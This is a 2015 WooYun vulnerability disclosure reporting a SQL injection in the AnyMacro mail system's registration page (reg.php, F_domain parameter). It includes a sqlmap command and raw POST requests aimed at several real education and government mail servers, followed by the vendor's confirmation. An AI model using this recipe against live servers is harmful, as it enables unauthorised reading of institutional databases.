当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106390

漏洞标题:AnyMacro安宁邮件系统前台SQL注入漏洞可直接读库

相关厂商:北京安宁创新网络科技有限公司

漏洞作者: BMa

提交时间:2015-04-07 16:00

修复时间:2015-05-24 14:30

公开时间:2015-05-24 14:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-07: 细节已通知厂商并且等待厂商处理中
2015-04-09: 厂商已经确认,细节仅向厂商公开
2015-04-19: 细节向核心白帽子及相关领域专家公开
2015-04-29: 细节向普通白帽子公开
2015-05-09: 细节向实习白帽子公开
2015-05-24: 细节向公众公开

简要描述:

AnyMacro安宁邮件系统前台注入 应该没有重复 不知道有没有两个$$ 顺便rank也多给点呗

详细说明:

anymacro是国内较流行的一家企业级邮箱系统,客户主要为教育/政府机构。漏洞影响范围参考以前的漏洞,就不一一贴出来了
漏洞文件:
/reg.php
参数:
F_domain
数据库:
MYSQL
sqlmap:
--dbms mysql -p F_domain

漏洞证明:

1、
mail.imnc.edu.cn/reg.php

POST /reg.php HTTP/1.1
Host: mail.imnc.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://mail.imnc.edu.cn/reg.php?F_lang=
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 209
F_lang=zh_gb&F_chkcode_enc=2Rzr9vXm7O8%3D&F_regpass=bma&F_name=bma&F_email=bma&F_domain=imnc.edu.cn&F_password=bma123&F_password2=bma123&F_chkcode=448428&p_office=111&p_phone=111&p_sex=%C4%D0&act=%D7%A2+%B2%E1


1.jpg


3.jpg


4.jpg


2、
http://mail.ahedu.gov.cn/reg.php

POST /reg.php HTTP/1.1
Host: mail.ahedu.gov.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://mail.ahedu.gov.cn/reg.php
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 226
F_lang=zh_gb&F_chkcode_enc=VjNrd3aVg%2Bs%3D&F_regpass=bma123&F_name=bma123&F_email=bma&F_domain=ahedu.gov.cn&F_password=bma123&F_password2=bma123&F_chkcode=140957&p_office=bma&p_phone=18888888888&p_sex=%C4%D0&act=%D7%A2+%B2%E1


1.jpg


2.jpg


3、
http://218.29.128.229/anywebmail/reg.php?F_lang=

POST /anywebmail/reg.php HTTP/1.1
Host: 218.29.128.229
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://218.29.128.229/anywebmail/reg.php?F_lang=
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 314
F_lang=zh_gb&F_chkcode_enc=SaL1%2FDo96%2BY%3D&F_regpass=bma&F_name=bma&F_email=bma&F_domain=hnjmxy.cn&F_password=bma123&F_password2=bma123&F_chkcode=958133&p_office=bma&p_phone=18888888888&p_sex=%C4%D0&p_ldate_y=&p_ldate_m=1&p_ldate_d=1&p_lip=&p_ltype=&p_overtime_y=&p_overtime_m=1&p_overtime_d=1&act=%D7%A2+%B2%E1


1.jpg


4、
http://211.82.176.10/reg.php?F_lang=

POST /reg.php HTTP/1.1
Host: 211.82.176.10
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://211.82.176.10/reg.php?F_lang=
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 222
F_lang=zh_gb&F_chkcode_enc=UwHizNs%2FcU4%3D&F_regpass=bma123&F_name=bma&F_email=bma&F_domain=imnc.edu.cn&F_password=bma123&F_password2=bma123&F_chkcode=629973&p_office=bma&p_phone=18888888888&p_sex=%C4%D0&act=%D7%A2+%B2%E1


1.jpg


5、
http://218.29.128.229/reg.php

POST /reg.php HTTP/1.1
Host: 218.29.128.229
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://218.29.128.229/reg.php
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 217
F_lang=zh_gb&F_chkcode_enc=%2FGHzqFfxqM8%3D&F_regpass=bma&F_name=bma&F_email=bma&F_domain=hnjmxy.cn&F_password=bma123&F_password2=bma123&F_chkcode=858376&p_office=bma&p_phone=18888888888&p_sex=%C4%D0&act=%D7%A2+%B2%E1


1.jpg


修复方案:

版权声明:转载请注明来源 BMa@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-04-09 14:28

厂商回复:

此为我公司的G2版本产品,后续将会修复

最新状态:

暂无